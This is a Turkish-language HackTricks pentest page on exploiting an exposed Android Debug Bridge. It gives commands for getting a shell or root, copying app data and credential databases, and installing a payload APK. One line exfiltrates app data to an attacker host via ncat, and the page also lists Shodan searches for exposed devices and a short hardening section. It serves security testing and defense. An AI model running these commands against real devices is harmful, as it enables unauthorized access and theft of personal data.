5555 - Android Debug Bridge

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

From the docs:

Android Debug Bridge (adb), Android tabanlı cihazlar ve emülatörlerle iletişim kurmak için bir komut satırı aracıdır. Tipik eylemler arasında paket yükleme, hata ayıklama ve cihazda etkileşimli bir Unix kabuğu alma bulunmaktadır.

  • Tarihsel varsayılan TCP portu: 5555 (klasik "adb tcpip" modu).
  • Modern Kablosuz hata ayıklama (Android 11+) TLS eşleştirme ve mDNS hizmet keşfi kullanır. Bağlantı portu dinamik olup mDNS aracılığıyla keşfedilir; 5555 olmayabilir. Eşleştirme, adb pair host:port ile yapılır ve ardından adb connect gelir. Aşağıdaki notlara saldırgan etkileri için bakın.

Örnek nmap parmak izi:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Bağlan

Eğer ADB'yi açık ve erişilebilir bulursanız, hızlıca bağlanmayı ve listelemeyi deneyin:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • Eğer cihaz ADB kimlik doğrulamasını zorluyorsa (ro.adb.secure=1), önceden yetkilendirilmiş olmanız (USB RSA kimlik doğrulaması) veya Android 11+ Kablosuz hata ayıklama eşleştirmesini kullanmanız gerekecek (bu, cihazda görüntülenen bir kerelik kodu gerektirir).
  • Bazı üretici görüntüleri, mühendislik/kullanıcı hata ayıklama derlemeleri, emülatörler, TV'ler, STB'ler ve geliştirme kitleri, kimlik doğrulaması olmadan veya adbd'nin root olarak çalıştığı durumlarda adbd'yi açığa çıkarır. Bu durumlarda genellikle doğrudan bir shell veya root shell'e geçersiniz.

Genel bir ADB komut referansı için, bakınız:

ADB Commands

Hızlı Post-Exploitation

Shell'e sahip olduğunuzda, ayrıcalıkları ve SELinux bağlamını doğrulayın:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

Verileri Listele ve Yakala

  • Üçüncü taraf uygulamaları ve yolları listele:
bash
pm list packages -3
pm path <pkg>
  • Eğer root erişiminiz varsa (adb root veya su çalışır), /data'ya doğrudan erişebilirsiniz. Aksi takdirde, hata ayıklanabilir uygulamalar için run-as kullanmayı tercih edin:
bash
# Root olmadan, hata ayıklanabilir bir uygulama için
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# Root ile
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • Kullanışlı sistem belgeleri (root gereklidir):
  • /data/system/users/0/accounts.db ve ilgili AccountManager verileri
  • /data/misc/wifi/ (eski sürümlerde ağ yapılandırmaları/anahtarlar)
  • /data/data/ altında uygulamaya özel SQLite DB'leri ve shared_prefs

Bunu hassas bilgileri (örneğin, uygulama sırları) almak için kullanabilirsiniz. Chrome veri dikkate alımları hakkında notlar için, burada belirtilen konuyu inceleyin.

Kod yürütme ve yük teslimi

  • Kurulum yapın ve çalışma zamanı izinlerini otomatik olarak verin:
bash
adb install -r -g payload.apk         # -g, manifestte belirtilen tüm çalışma zamanı izinlerini verir
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • Etkinlikleri/hizmetleri/broadcast'ları doğrudan başlatın:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

Port yönlendirme ve pivotlama

Root olmadan bile, adb yerel portları cihaz portlarına ve tersine yönlendirebilir. Bu, cihazda yerel olarak bağlı hizmetlere erişmek veya saldırgan hizmetlerini cihaza açmak için yararlıdır.

  • Host->cihaz yönlendirme (cihazda yerel bir hizmete ev sahibi bilgisayarınızdan erişin):
bash
adb forward tcp:2222 tcp:22       # Cihaz SSH çalıştırıyorsa (örneğin, Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # Uygulamanın yerel hata ayıklama sunucusunu aç
  • Ters cihaz->host yönlendirme (cihazın ev sahibi bilgisayarınızdaki bir hizmete ulaşmasına izin verin):
bash
adb reverse tcp:1080 tcp:1080     # Cihaz uygulamaları artık host:1080'e 127.0.0.1:1080 olarak ulaşabilir
  • Soketler üzerinden dosya dışa aktarımı (sdcard yazma yok):
bash
# Host'ta: dinle
ncat -lvp 9000 > dump.tar
# Cihazda: dizini tar olarak gönder (root veya run-as uygun olduğunda)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

Kablosuz Hata Ayıklama (Android 11+)

Modern Android, cihaz tarafı eşleştirme ve mDNS keşfi ile TLS korumalı kablosuz hata ayıklama uygular:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

Notlar

  • Portlar dinamik; 5555 varsaymayın. mDNS hizmet adları şöyle görünür:
  • _adb-tls-pairing._tcp (eşleştirme)
  • _adb-tls-connect._tcp (eşleştirilmiş bağlantı)
  • _adb._tcp (eski/normal)
  • Eğer mDNS filtrelenmişse, klasik USB destekli etkinleştirme bazı sürümlerde hala çalışabilir: adb tcpip 5555 ardından adb connect <ip>:5555 (yeniden başlatmaya kadar).

Saldırgan etkileri: Cihazın UI'si ile etkileşimde bulunabiliyorsanız (örneğin, fiziksel erişim veya mobil MDM yanlış yapılandırması) Kablosuz hata ayıklamayı etkinleştirip eşleştirme kodunu görebilirseniz, kablo olmadan uzun süreli eşleştirilmiş bir ADB kanalı kurabilirsiniz. Bazı OEM'ler, eşleştirme olmadan mühendislik/geliştirme görüntülerinde ADB'yi TCP üzerinden açar—her zaman kontrol edin.

Güçlendirme / Tespit

Savunucular, erişilebilir herhangi bir adbd (TCP) için kritik risk olduğunu varsaymalıdır.

  • Gerekmediğinde ADB ve Kablosuz hata ayıklamayı devre dışı bırakın. Geliştirici seçeneklerinde USB hata ayıklama yetkilendirmelerini iptal edin.
  • Ağ politikasının güvenilmeyen segmentlerde gelen TCP/5555 ve mDNS tabanlı ADB keşfini engellediğinden emin olun.
  • Kontrolünüz altındaki cihazlarda:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # TCP dinlemeyi devre dışı bırak (veya kullan: adb usb)
stop adbd; start adbd             # daemon'ı yeniden başlat
  • Kurumsal ağlarda _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp için mDNS kayıtlarını izleyin ve beklenmeyen 5555 dinleyicileri için uyarılar oluşturun.
  • Güvensiz sürümler için envanter: getprop ro.debuggable, ro.build.type, ve ro.adb.secure.

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

Referanslar

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, eşleştirme ve mDNS hizmet adları: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin